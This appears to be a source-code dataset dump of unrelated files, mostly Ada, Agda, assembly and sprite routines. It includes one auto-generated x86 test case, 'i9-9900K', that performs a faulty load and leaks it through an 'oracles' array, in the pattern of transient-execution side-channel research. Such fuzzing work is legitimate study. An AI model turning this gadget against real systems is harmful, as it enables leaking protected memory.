Dep_Name : constant String :=
Line (
Line'First + 2 ..
Ada.Strings.Functions.Index_Element (Line (Line'First + 2 .. Line'Last), '.') - 1);
begin
if Dep_Name /= Name then
Unit_Sets.Include (The_Set, Dep_Name);
end if;
end;
end if;
end loop;
Ada.Text_IO.Close (File);
Unit_To_Unit_Sets_Maps.Insert (Table, Name, The_Set);
end;
end loop;
-- removing separated units
for I in Table.Iterate loop
declare
The_Set : Unit_Sets.Set renames Table.Reference (I);
J : Unit_Sets.Cursor := The_Set.First;
begin
while Unit_Sets.Has_Element (J) loop
declare
Next : constant Unit_Sets.Cursor := Unit_Sets.Next (J);
Dep_Name : constant String := The_Set.Constant_Reference (J);
begin
if not Unit_To_Unit_Sets_Maps.Contains (Table, Dep_Name) then
Unit_Sets.Delete (The_Set, J);
end if;
J := Next;
end;
end loop;
end;
end loop;
-- searching
loop
declare
Changed : Boolean := False;
begin
for I in Table.Iterate loop
declare
Name : constant String := Unit_To_Unit_Sets_Maps.Key (I);
The_Set : Unit_Sets.Set renames Table.Reference (I);
begin
for J in The_Set.Iterate loop
declare
Dep_Name : constant String := The_Set.Constant_Reference (J);
The_Grandchildren : Unit_Sets.Set renames Table.Constant_Reference (Dep_Name);
begin
for K in The_Grandchildren.Iterate loop
declare
G_Dep_Name : constant String := The_Grandchildren.Constant_Reference (K);
begin
if G_Dep_Name /= Name
and then not The_Set.Contains (G_Dep_Name)
then
Unit_Sets.Include (The_Set, G_Dep_Name);
Changed := True;
end if;
end;
end loop;
end;
end loop;
end;
end loop;
exit when not Changed;
end;
end loop;
-- detecting
for I in Table.Iterate loop
declare
Name : constant String := Unit_To_Unit_Sets_Maps.Key (I);
The_Set : Unit_Sets.Set renames Table.Constant_Reference (I);
begin
for J in The_Set.Iterate loop
declare
Dep_Name : constant String := The_Set.Constant_Reference (J);
begin
if Unit_Sets.Contains (Table.Constant_Reference (Dep_Name), Name) then
Ada.Text_IO.Put (Name);
Ada.Text_IO.Put (" <=> ");
Ada.Text_IO.Put (The_Set.Constant_Reference (J));
Ada.Text_IO.New_Line;
end if;
end;
end loop;
end;
end loop;
end;
end cirdep;
|
src/yaml/yaml-parser.ads | My-Colaborations/dynamo | 15 | 18450 | -- part of AdaYaml, (c) 2017 <NAME>
-- released under the terms of the MIT license, see the file "copying.txt"
with Yaml.Source;
with Text.Pool;
private with Ada.Finalization;
private with Yaml.Lexer;
private with Yaml.Stacks;
private with Yaml.Text_Set;
package Yaml.Parser is
-- this package implements a parser that generates an event stream from a
-- YAML characters stream source.
type Instance is limited new Refcount_Base with private;
subtype Class is Instance'Class;
type Reference is tagged private;
type Accessor (Data : not null access Instance) is limited null record with
Implicit_Dereference => Data;
function Value (Object : Reference) return Accessor;
type Warning_Handler is limited interface;
procedure Wrong_Yaml_Version (Handler : in out Warning_Handler;
Version : String) is abstract;
procedure Unknown_Directive (Handler : in out Warning_Handler;
Name, Params : String) is abstract;
function New_Parser return Reference;
-- instructs the parser to parse the input provided by the given Source.
-- the parser takes ownership of the Source and will take care of
-- deallocating it.
procedure Set_Input (P : in out Instance; Input : Source.Pointer);
-- instructs the parser to parse the input provided as String.
procedure Set_Input (P : in out Instance; Input : String);
-- register a handler whose subroutines are called when the corresponding
-- warning condition is met. May be set to null in which case no handler
-- is called (default behavior).
procedure Set_Warning_Handler
(P : in out Instance; Handler : access Warning_Handler'Class);
-- retrieve the position where the lexer last tried to start reading a
-- token. this function can be used when a Lexer_Error occurred.
function Current_Lexer_Token_Start (P : Instance) return Mark;
-- retrieve the position of the recently read character. this is useful
-- when a Lexer_Error occurred.
function Current_Input_Character (P : Instance) return Mark;
-- retrieve the start position of the recently processed lexer token.
-- useful when a Parser_Error occurred.
function Recent_Lexer_Token_Start (P : Instance) return Mark;
-- retrieve the end position of the recently processed lexer token.
-- useful when a Parser_Error occurred.
function Recent_Lexer_Token_End (P : Instance) return Mark;
function Next (P : in out Instance) return Event;
function Pool (P : Instance) return Text.Pool.Reference;
private
overriding procedure Finalize (P : in out Instance);
type Instance_Access is not null access all Instance;
type Reference is new Ada.Finalization.Controlled with record
Data : Instance_Access;
end record;
overriding procedure Adjust (Object : in out Reference);
overriding procedure Finalize (Object : in out Reference);
type State_Type is access function
(P : in out Class; E : out Event) return Boolean;
subtype Indentation_Type is Integer range -2 .. Integer'Last;
type Parsing_Level is record
State : State_Type;
Indentation : Indentation_Type;
end record;
package Level_Stacks is new Yaml.Stacks (Parsing_Level);
package Tag_Handle_Sets is new Yaml.Text_Set (Text.Reference);
type Instance is limited new Refcount_Base with record
Pool : Text.Pool.Reference;
L : Lexer.Instance;
Levels : Level_Stacks.Stack;
Current : Lexer.Token;
Cached : Event;
Tag_Handles : Tag_Handle_Sets.Reference;
Header_Props, Inline_Props : Properties;
Header_Start, Inline_Start : Mark;
Block_Indentation : Indentation_Type;
Handler : access Warning_Handler'Class;
end record;
type Instance_Pointer is access Instance;
-----------------------------------------------------------------------------
-- parser states
-----------------------------------------------------------------------------
-- starts the event stream by emitting a Stream_Start event
function At_Stream_Start (P : in out Class; E : out Event) return Boolean;
-- final landing state. this just emits Stream_End events forever without
-- reading anything.
function At_Stream_End (P : in out Class; E : out Event) return Boolean;
-- state that expects a YAML document to start. reads directives.
function Before_Doc (P : in out Class; E : out Event) return Boolean;
-- there may only be node properties and block scalar starts behind a '---'
function After_Directives_End (P : in out Class;
E : out Event) return Boolean;
-- state used when a document is started without explicit '---'. an explicit
-- '---' is required for scalar documents.
function Before_Implicit_Root (P : in out Class;
E : out Event) return Boolean;
-- used when node properties occur at root levels. those *must* belong to
-- a scalar which is an implicit map key and starts an implicit block map.
function Require_Implicit_Map_Start (P : in out Class;
E : out Event) return Boolean;
-- used for parsing properties of a node.
function Before_Node_Properties (P : in out Class;
E : out Event) return Boolean;
-- state at the beginning of a block line. whether current implementation
-- requires leaving block collections.
function At_Block_Indentation (P : in out Class;
E : out Event) return Boolean;
function At_Block_Indentation_Props (P : in out Class;
E : out Event) return Boolean;
-- state inside a block line where a new node may start in compact notation,
-- e.g. after a `-`, `?` or `:` after an explicit key.
function After_Compact_Parent (P : in out Class;
E : out Event) return Boolean;
-- this either starts compact nodes or advances to the next line
function After_Compact_Parent_Props (P : in out Class;
E : out Event) return Boolean;
-- similar to After_Compact_Parent, but disallows compact notation. This
-- is used after a `:` of an implicit key.
function After_Block_Parent (P : in out Class;
E : out Event) return Boolean;
-- this either starts compact nodes or advances to the next line
function After_Block_Parent_Props (P : in out Class;
E : out Event) return Boolean;
-- used when there are node properties at the beginning of a line. in that
-- case, the corresponding node must start at the same line.
function Require_Inline_Block_Item (P : in out Class;
E : out Event) return Boolean;
-- in this state, the document's root node has been closed and the only
-- valid lexer tokens are '...', '---' or the end of the stream.
function Before_Doc_End (P : in out Class;
E : out Event) return Boolean;
-- this state expects the next block sequence entry starting with a `- `.
function In_Block_Seq (P : in out Class;
E : out Event) return Boolean;
-- this state is used to emit the scalar which is the first implicit key of
-- a block mapping. it is necessary because the previous state has emitted
-- the mapping start event and cached the key scalar.
function After_Implicit_Map_Start (P : in out Class;
E : out Event) return Boolean;
-- this state expects a `?` or an implicit mapping key
function Before_Block_Map_Key (P : in out Class;
E : out Event) return Boolean;
-- this state is used when Before_Block_Mapping_Key encounters node
-- properties. after those, an implicit scalar mapping key must follow.
function At_Block_Map_Key_Props (P : in out Class;
E : out Event) return Boolean;
-- expects a `:` as mapping value indicator after an implicit key
function After_Implicit_Key (P : in out Class;
E : out Event) return Boolean;
-- expects a `:` as mapping value indicator after an explicit key
function Before_Block_Map_Value (P : in out Class;
E : out Event) return Boolean;
-- expects a newline after any node in a block context
-- (not used after implicit block mapping keys)
function Before_Block_Indentation (P : in out Class;
E : out Event) return Boolean;
-- expects any item valid in flow mode
function Before_Flow_Item (P : in out Class;
E : out Event) return Boolean;
-- expects any item valid in flow mode after having read node properties.
function Before_Flow_Item_Props (P : in out Class;
E : out Event) return Boolean;
-- expects either a `:` as mapping value indicator or `,` or `}` which both
-- make the mapping value an implicit empty scalar.
function After_Flow_Map_Key (P : in out Class;
E : out Event) return Boolean;
-- expects either a `,` or a `}`.
function After_Flow_Map_Value (P : in out Class;
E : out Event) return Boolean;
-- expects either a `,` or a `]`.
function After_Flow_Seq_Item (P : in out Class;
E : out Event) return Boolean;
-- expects either another key-value pair or `}` in which case the recently
-- read comma is treated as trailing comma that does not start a new
-- key-value pair.
function After_Flow_Map_Sep (P : in out Class;
E : out Event) return Boolean;
-- expects either another node as part of the sequence or `]` in which case
-- the recently read comma is treated as trailing comma that does not start
-- a new sequence entry.
function After_Flow_Seq_Sep (P : in out Class;
E : out Event) return Boolean;
-- the existence of node properties after a sequence separator (`,`) makes
-- the comma non-trailing and forces the generation of another entry node,
-- even if it is an implicit empty scalar.
function After_Flow_Seq_Sep_Props (P : in out Class;
E : out Event) return Boolean;
-- used for emitting an empty scalar in the case that a pair with empty key
-- is encountered.
function At_Empty_Pair_Key (P : in out Class; E : out Event) return Boolean;
-- expects the value of an implicit key-value pair inside a flow sequence.
function Before_Pair_Value (P : in out Class;
E : out Event) return Boolean;
-- used for emitting the cached scalar key of in implicit key-value pair
-- in a flow sequence.
function After_Implicit_Pair_Start (P : in out Class;
E : out Event) return Boolean;
-- used for emitting the mapping end event after an implicit key-value pair
-- in a flow sequence.
function After_Pair_Value (P : in out Class;
E : out Event) return Boolean;
-- expects either another part of the parameter list or `)` in which case
-- the recently read comma is treated as trailing comma that does not start
-- a new parameter.
function After_Param_Sep (P : in out Class; E : out Event)
return Boolean;
-- the existence of node properties after a sequence separator (`,`) makes
-- the comma non-trailing and forces the generation of another param node,
-- even if it is an implicit empty scalar.
function After_Param_Sep_Props
(P : in out Class; E : out Event) return Boolean;
-- expects either a `,` or a `)`
function After_Param (P : in out Class; E : out Event)
return Boolean;
-- end an annotation
function After_Annotation (P : in out Class; E : out Event)
return Boolean;
end Yaml.Parser;
|
notes/FOT/FOTC/Data/Nat/Divisibility/ZeroDividesZero.agda | asr/fotc | 11 | 11973 | ------------------------------------------------------------------------------
-- In the Agda standard library zero divides zero
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module FOT.FOTC.Data.Nat.Divisibility.ZeroDividesZero where
open import Data.Nat.Divisibility
open import Relation.Binary.PropositionalEquality
------------------------------------------------------------------------------
0∣0 : 0 ∣ 0
0∣0 = divides 0 refl
|
test/Succeed/Point.agda | cruhland/agda | 1,989 | 12540 | <gh_stars>1000+
module Point where
data Nat : Set where
zero : Nat
suc : Nat -> Nat
record Point : Set where
field
x : Nat
y : Nat
data _==_ {A : Set}(x : A) : A -> Set where
refl : x == x
open Point renaming (x to getX; y to getY)
<_,_> : Nat -> Nat -> Point
< x , y > = record { x = x; y = y }
η : (p : Point) -> p == record { x = getX p; y = getY p }
η p = refl
swap : Point -> Point
swap p = < getY p , getX p >
swap-idem : (p : Point) -> swap (swap p) == p
swap-idem p = refl
|
src/davl.adb | SGDavid2719/ED-Empresa_de_Trenes | 0 | 3549 | <filename>src/davl.adb
package body davl is
type modo is (insert_mode, remove_mode);
procedure cvacio (s: out conjunto) is
raiz: pnodo renames s.raiz;
begin
raiz := null;
end cvacio;
procedure consultar (s: in pnodo; k: in key; x: out item) is
begin
if s= null then
raise no_existe;
else
if k<s.k then consultar(s.lc, k, x);
elsif k>s.k then consultar(s.rc, k, x);
else
x:= s.x;
end if;
end if;
end consultar;
procedure consultar (s: in conjunto; k: in key; x: out item) is
raiz: pnodo renames s.raiz;
begin
consultar(raiz, k, x);
end consultar;
procedure actualiza (s: in out pnodo; k: in key; x: in item) is
begin
if s= null then
raise no_existe;
else
if k<s.k then actualiza(s.lc, k, x);
elsif k>s.k then actualiza(s.rc, k, x);
else
s.x:= x;
end if;
end if;
end actualiza;
procedure actualiza (s: in out conjunto; k: in key; x: in item) is
raiz: pnodo renames s.raiz;
begin
actualiza(raiz, k, x);
end actualiza;
procedure rebalanceo_izq(p: in out pnodo; h: out Boolean; m: in modo) is
a: pnodo;
b: pnodo;
c, b2: pnodo;
c1, c2: pnodo;
begin
a := p; b := a.lc;
if b.bl <= 0 then
b2 := b.rc;
a.lc := b2; b.rc := a; p:= b;
if b.bl = 0 then
a.bl := -1; b.bl := 1;
if m = remove_mode then h:= false; end if;
else
a.bl := 0; b.bl := 0;
if m = insert_mode then h:= false; end if;
end if;
else
c := b.rc; c1 := c.lc; c2 := c.rc;
b.rc := c1; a.lc :=c2; c.lc := b; c.rc := a; p := c;
if c.bl <= 0 then b.bl := 0; else b.bl := -1; end if;
if c.bl >= 0 then a.bl := 0; else a.bl := 1; end if;
c.bl := 0;
if m=insert_mode then h:= false; end if;
end if;
end rebalanceo_izq;
procedure rebalanceo_der (p: in out pnodo; h: out Boolean; m: in modo) is
a: pnodo;
b: pnodo;
c, b2: pnodo;
c1, c2: pnodo;
begin
a := p; b := a.rc;
if b.bl >= 0 then
b2 := b.lc;
a.rc := b2; b.lc := a; p:= b;
if b.bl = 0 then
a.bl := 1; b.bl := -1;
if m = remove_mode then h:= false; end if;
else
a.bl := 0; b.bl := 0;
if m = insert_mode then h:= false; end if;
end if;
else
c := b.lc; c1 := c.rc; c2 := c.lc;
b.lc := c1; a.rc :=c2; c.lc := a; c.rc := b; p := c;
if c.bl <= 0 then a.bl := 0; else a.bl := -1; end if;
if c.bl >= 0 then b.bl := 0; else b.bl := 1; end if;
c.bl := 0;
if m=insert_mode then h:= false; end if;
end if;
end rebalanceo_der;
procedure balanceo_izq(p: in out pnodo; h: in out Boolean; m: in modo) is
begin
if p.bl = 1 then
p.bl := 0;
if m=insert_mode then h:= false; end if;
elsif p.bl=0 then
p.bl := -1;
if m=remove_mode then h:= false; end if;
else
rebalanceo_izq(p, h, m);
end if;
end balanceo_izq;
procedure balanceo_der(p: in out pnodo; h: in out Boolean; m: in modo) is
begin
if p.bl = -1 then
p.bl := 0;
if m=insert_mode then h:= false; end if;
elsif p.bl=0 then
p.bl := 1;
if m=remove_mode then h:= false; end if;
else
rebalanceo_der(p, h, m);
end if;
end balanceo_der;
procedure poner (p: in out pnodo; k: in key; x: in item; h: out boolean) is
begin
if p=null then
p:= new nodo; p.all := (k, x, 0, null, null);
h := true;
else
if k<p.k then
poner(p.lc, k, x, h);
if h then balanceo_izq (p, h, insert_mode); end if;
elsif k>p.k then
poner(p.rc, k, x, h);
if h then balanceo_der(p, h, insert_mode); end if;
else
-- k=p.k
raise ya_existe;
end if;
end if;
exception
when Storage_Error => raise espacio_desbordado;
end poner;
procedure poner (s: in out conjunto; k: in key; x: in item) is
raiz: pnodo renames s.raiz;
h: Boolean;
begin
poner(raiz, k, x, h);
end poner;
procedure borrado_masbajo(p: in out pnodo; pmasbajo: out pnodo; h: out boolean) is
-- prec: p/=null
begin
if p.lc/=null then borrado_masbajo(p.lc, pmasbajo, h);
if h then balanceo_der(p, h, remove_mode); end if;
else pmasbajo := p; p:=p.rc; h := true;
end if;
end borrado_masbajo;
procedure borrado_real (p: in out pnodo; h: out boolean) is
pmasbajo: pnodo;
begin
if p.lc = null and p.rc = null then
p := null; h := true;
elsif p.lc = null and p.rc /= null then
p := p.rc; h := true;
elsif p.lc /= null and p.rc = null then
p := p.lc; h := true;
else
borrado_masbajo(p.rc, pmasbajo, h);
pmasbajo.lc := p.lc; pmasbajo.rc := p.rc; pmasbajo.bl := p.bl;
p := pmasbajo;
if h then balanceo_izq(p, h, remove_mode); end if;
end if;
end borrado_real;
procedure borrar (p: in out pnodo; k: in key; h: out Boolean) is
begin
if p=null then raise no_existe; end if;
if k<p.k then
borrar(p.lc, k, h);
if h then balanceo_der(p, h, remove_mode); end if;
elsif k>p.k then
borrar(p.rc, k, h);
if h then balanceo_izq(p, h, remove_mode); end if;
else
borrado_real(p, h);
end if;
end borrar;
procedure borrar (s: in out conjunto; k: in key) is
raiz: pnodo renames s.raiz;
h: Boolean;
begin
borrar(raiz, k, h);
end borrar;
procedure first(s: in conjunto; it: out iterator) is
raiz: pnodo renames s.raiz;
st: pila renames it.st;
p: pnodo;
begin
pvacia(st);
if raiz/= null then
p:= raiz;
while p.lc /= null loop
empila(st, p); p:= p.lc;
end loop;
empila(st, p);
end if;
end first;
procedure next (s: in conjunto; it: in out iterator) is
st: pila renames it.st;
p: pnodo;
begin
p:= cima(st); desempila(st);
if p.rc /= null then
p:=p.rc;
while p.lc /= null loop
empila(st, p); p:=p.lc;
end loop;
empila(st,p);
end if;
exception
when dnodestack.mal_uso => raise davl.bad_use;
end next;
function is_valid (it: in iterator) return boolean is
st: pila renames it.st;
begin
return not estavacia(st);
end is_valid;
procedure get(s: in conjunto; it: in iterator; k: out key; x: out item) is
st: pila renames it.st;
p: pnodo;
begin
p:= cima(st);
k:=p.k; x := p.x;
end get;
end davl;
|
programs/oeis/206/A206913.asm | karttu/loda | 0 | 247089 | <reponame>karttu/loda
; A206913: Greatest binary palindrome <= n; the binary palindrome floor function.
; 0,1,1,3,3,5,5,7,7,9,9,9,9,9,9,15,15,17,17,17,17,21,21,21,21,21,21,27,27,27,27,31,31,33,33,33,33,33,33,33,33,33,33,33,33,45,45,45,45,45,45,51,51,51,51,51,51,51,51,51,51,51,51,63,63,65,65,65,65,65,65,65,65,73,73,73,73,73,73,73,73,73,73,73,73,85,85,85,85,85,85,85,85,93,93,93,93,93,93,99,99,99,99,99,99,99,99,107,107,107,107,107,107,107,107,107,107,107,107,119,119,119,119,119,119,119,119,127,127,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,129,153,153,153,153,153,153,153,153,153,153,153,153,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,165,189,189,189,189,189,189,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,195,219,219,219,219,219,219,219,219,219,219,219,219,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231,231
lpb $0,1
mov $1,$0
cal $1,178225 ; Characteristic function of A006995 (binary palindromes).
sub $0,1
add $0,$1
lpe
mov $1,$0
|
src/main/fragment/mos6502-common/vwum1_ge_vbuxx_then_la1.asm | jbrandwood/kickc | 2 | 86479 | <reponame>jbrandwood/kickc<filename>src/main/fragment/mos6502-common/vwum1_ge_vbuxx_then_la1.asm
lda {m1}+1
bne {la1}
stx $ff
lda {m1}
cmp $ff
bcs {la1}
!: |
libsrc/graphics/putsprite2.asm | andydansby/z88dk-mk2 | 1 | 245481 | <reponame>andydansby/z88dk-mk2<gh_stars>1-10
;
; Sprite Rendering Routine
; original code by <NAME> (TI 85)
; modified by <NAME> - Jan 2001
;
; Sept 2003 - Stefano: Fixed bug for sprites wider than 8.
;
; Much More Generic version
; Uses plotpixel, respixel and xorpixel
;
;
; $Id: putsprite2.asm,v 1.4 2003/09/22 13:30:52 stefano Exp $
;
XLIB putsprite
LIB plotpixel
LIB respixel
LIB xorpixel
; coords: h,l (vert-horz)
; sprite: (ix)
.putsprite
ld hl,2
add hl,sp
ld e,(hl)
inc hl
ld d,(hl) ;sprite address
push de
pop ix
inc hl
ld e,(hl)
inc hl
inc hl
ld d,(hl) ; x and y coords
inc hl
inc hl
ld a,(hl) ; and/or/xor mode
ld h,d
ld l,e
cp 166 ; and(hl) opcode
jr z,doand
cp 182 ; or(hl) opcode
jr z,door
; 182 - or
; 174 - xor
.doxor
ld a,(ix+0) ; Width
ld b,(ix+1) ; Height
.oloopx push bc ;Save # of rows
push af
;ld b,a ;Load width
ld b,0 ; Better, start from zero !!
ld c,(ix+2) ;Load one line of image
.iloopx sla c ;Test leftmost pixel
jr nc,noplotx ;See if a plot is needed
pop af
push af
push hl
;push bc ; this should be done by the called routine
push de
ld a,h
add a,b
ld h,a
call xorpixel
pop de
;pop bc
pop hl
.noplotx
inc b ; witdh counter
pop af
push af
cp b ; end of row ?
jr nz,noblkx
inc ix
ld c,(ix+2) ;Load next byte of image
jr noblockx
.noblkx
ld a,b ; next byte in row ?
;dec a
and a
jr z,iloopx
and 7
jr nz,iloopx
.blockx
inc ix
ld c,(ix+2) ;Load next byte of image
jr iloopx
.noblockx
inc l
pop af
pop bc ;Restore data
djnz oloopx
ret
.doand
ld a,(ix+0) ; Width
ld b,(ix+1) ; Height
.oloopa push bc ;Save # of rows
push af
;ld b,a ;Load width
ld b,0 ; Better, start from zero !!
ld c,(ix+2) ;Load one line of image
.iloopa sla c ;Test leftmost pixel
jr nc,noplota ;See if a plot is needed
pop af
push af
push hl
;push bc ; this should be done by the called routine
push de
ld a,h
add a,b
ld h,a
call respixel
pop de
;pop bc
pop hl
.noplota
inc b ; witdh counter
pop af
push af
cp b ; end of row ?
jr nz,noblka
inc ix
ld c,(ix+2) ;Load next byte of image
jr noblocka
.noblka
ld a,b ; next byte in row ?
;dec a
and a
jr z,iloopa
and 7
jr nz,iloopa
.blocka
inc ix
ld c,(ix+2) ;Load next byte of image
jr iloopa
.noblocka
inc l
pop af
pop bc ;Restore data
djnz oloopa
ret
.door
ld a,(ix+0) ; Width
ld b,(ix+1) ; Height
.oloopo push bc ;Save # of rows
push af
;ld b,a ;Load width
ld b,0 ; Better, start from zero !!
ld c,(ix+2) ;Load one line of image
.iloopo sla c ;Test leftmost pixel
jr nc,noploto ;See if a plot is needed
pop af
push af
push hl
;push bc ; this should be done by the called routine
push de
ld a,h
add a,b
ld h,a
call plotpixel
pop de
;pop bc
pop hl
.noploto
inc b ; witdh counter
pop af
push af
cp b ; end of row ?
jr nz,noblko
inc ix
ld c,(ix+2) ;Load next byte of image
jr noblocko
.noblko
ld a,b ; next byte in row ?
;dec a
and a
jr z,iloopo
and 7
jr nz,iloopo
.blocko
inc ix
ld c,(ix+2) ;Load next byte of image
jr iloopo
.noblocko
;djnz iloopo
inc l
pop af
pop bc ;Restore data
djnz oloopo
ret
|
Transynther/x86/_processed/NC/_st_sm_/i9-9900K_12_0xa0_notsx.log_33_880.asm | ljhsiun2/medusa | 9 | 97056 | <filename>Transynther/x86/_processed/NC/_st_sm_/i9-9900K_12_0xa0_notsx.log_33_880.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r15
push %r8
push %rax
push %rcx
lea addresses_D_ht+0x50ef, %rcx
nop
nop
add $52144, %r10
and $0xffffffffffffffc0, %rcx
vmovntdqa (%rcx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %rax
nop
nop
cmp $21888, %r8
lea addresses_A_ht+0x1c3db, %r11
nop
nop
nop
nop
add $31935, %r15
mov (%r11), %r13
nop
sub %r8, %r8
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r14
push %r15
push %r8
push %rax
// Store
mov $0x13f9d3000000016f, %r10
nop
nop
nop
sub $28302, %rax
movl $0x51525354, (%r10)
nop
nop
nop
nop
sub $56316, %r8
// Store
lea addresses_A+0x896f, %r10
nop
nop
xor $5710, %r15
movl $0x51525354, (%r10)
nop
nop
nop
inc %rax
// Load
lea addresses_UC+0xc86f, %r12
nop
nop
nop
add %r10, %r10
mov (%r12), %r15d
nop
inc %r8
// Store
lea addresses_RW+0x54e9, %r11
nop
nop
nop
nop
xor %rax, %rax
movw $0x5152, (%r11)
xor $41164, %rax
// Faulty Load
mov $0x13f9d3000000016f, %r14
nop
nop
nop
nop
nop
add %r15, %r15
movb (%r14), %r11b
lea oracles, %rax
and $0xff, %r11
shlq $12, %r11
mov (%rax,%r11,1), %r11
pop %rax
pop %r8
pop %r15
pop %r14
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 0}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'54': 33}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
programs/oeis/214/A214848.asm | neoneye/loda | 22 | 175165 | <reponame>neoneye/loda<gh_stars>10-100
; A214848: First difference of A022846.
; 1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1,2,1,2,1,2,1,1,2,1,2,1,1
mov $4,2
mov $6,$0
lpb $4
mov $0,$6
sub $4,1
add $0,$4
sub $0,1
mov $3,$0
add $0,2
mov $2,$4
mul $3,$0
max $3,0
seq $3,2024 ; n appears n times; a(n) = floor(sqrt(2n) + 1/2).
mul $2,$3
add $1,$2
mov $5,$3
lpe
min $6,1
mul $6,$5
sub $1,$6
mov $0,$1
|
test/Fail/Productivity.agda | alhassy/agda | 3 | 7233 | <gh_stars>1-10
module Productivity (char : Set) where
open import Common.Coinduction
infix 50 _⋆ _+
infixl 40 _⊛_
infixl 30 _∣_
data P : Set where
ε : P
sym : char -> P
_⊛_ : ∞ P -> ∞ P -> P
_∣_ : ∞ P -> ∞ P -> P
mutual
_⋆ : P -> P
p ⋆ = ♯ ε ∣ ♯ (p +)
_+ : P -> P
p + = ♯ p ⊛ ♯ (p ⋆)
_sepBy_ : P -> P -> P
p sepBy sep = ♯ p ⊛ ♯ ((♯ sep ⊛ ♯ p) ⋆)
postulate
addOp : P
mulOp : P
number : P
openP : char
closeP : char
-- Not guarded:
mutual
expr = term sepBy addOp
term = factor sepBy mulOp
factor = ♯ number ∣ ♯ (♯ (♯ sym openP ⊛ ♯ expr) ⊛ ♯ sym closeP)
-- Guarded and incomprehensible:
mutual
expr₁ = ♯ term₁ ⊛ ♯ expr₂
expr₂ = ♯ ε ∣ ♯ expr₃
expr₃ = ♯ (♯ addOp ⊛ ♯ term₁) ⊛ ♯ expr₂
term₁ = ♯ factor₁ ⊛ ♯ term₂
term₂ = ♯ ε ∣ ♯ term₃
term₃ = ♯ (♯ mulOp ⊛ ♯ factor₁) ⊛ ♯ term₂
factor₁ = ♯ number ∣ ♯ (♯ (♯ sym openP ⊛ ♯ expr₁) ⊛ ♯ sym closeP)
|
tests/inputs/test_single_inst/test_mult_d_one_inst/mult_d_single.asm | danielstumpp/tomasulo-simulator | 0 | 85904 | mult.d, F5, F1, F3 |
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/p3dos_copy_pstr_to_cstr.asm | jpoikela/z88dk | 640 | 245069 | <reponame>jpoikela/z88dk
; unsigned char *p3dos_copy_pstr_to_cstr(char *cdst, const char *psrc)
SECTION code_esxdos
PUBLIC _p3dos_copy_pstr_to_cstr
EXTERN asm_p3dos_copy_pstr_to_cstr
_p3dos_copy_pstr_to_cstr:
pop af
pop de
pop hl
push hl
push de
push af
jp asm_p3dos_copy_pstr_to_cstr
|
programs/oeis/063/A063757.asm | jmorken/loda | 1 | 104151 | <reponame>jmorken/loda<filename>programs/oeis/063/A063757.asm<gh_stars>1-10
; A063757: G.f.: (1+3*x+2*x^2)/((1-x)*(1-2*x^2)).
; 1,4,8,14,22,34,50,74,106,154,218,314,442,634,890,1274,1786,2554,3578,5114,7162,10234,14330,20474,28666,40954,57338,81914,114682,163834,229370,327674,458746,655354,917498,1310714,1835002,2621434
add $0,1
lpb $0
sub $0,1
add $2,3
add $4,1
mov $1,$4
mov $3,$4
add $3,1
mov $4,$2
mov $2,$3
mul $2,2
lpe
|
source/nodes/program-nodes-raise_expressions.adb | optikos/oasis | 0 | 7495 | <reponame>optikos/oasis<filename>source/nodes/program-nodes-raise_expressions.adb
-- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
package body Program.Nodes.Raise_Expressions is
function Create
(Raise_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Exception_Name : not null Program.Elements.Expressions
.Expression_Access;
With_Token : Program.Lexical_Elements.Lexical_Element_Access;
Associated_Message : Program.Elements.Expressions.Expression_Access)
return Raise_Expression is
begin
return Result : Raise_Expression :=
(Raise_Token => Raise_Token, Exception_Name => Exception_Name,
With_Token => With_Token, Associated_Message => Associated_Message,
Enclosing_Element => null)
do
Initialize (Result);
end return;
end Create;
function Create
(Exception_Name : not null Program.Elements.Expressions
.Expression_Access;
Associated_Message : Program.Elements.Expressions.Expression_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
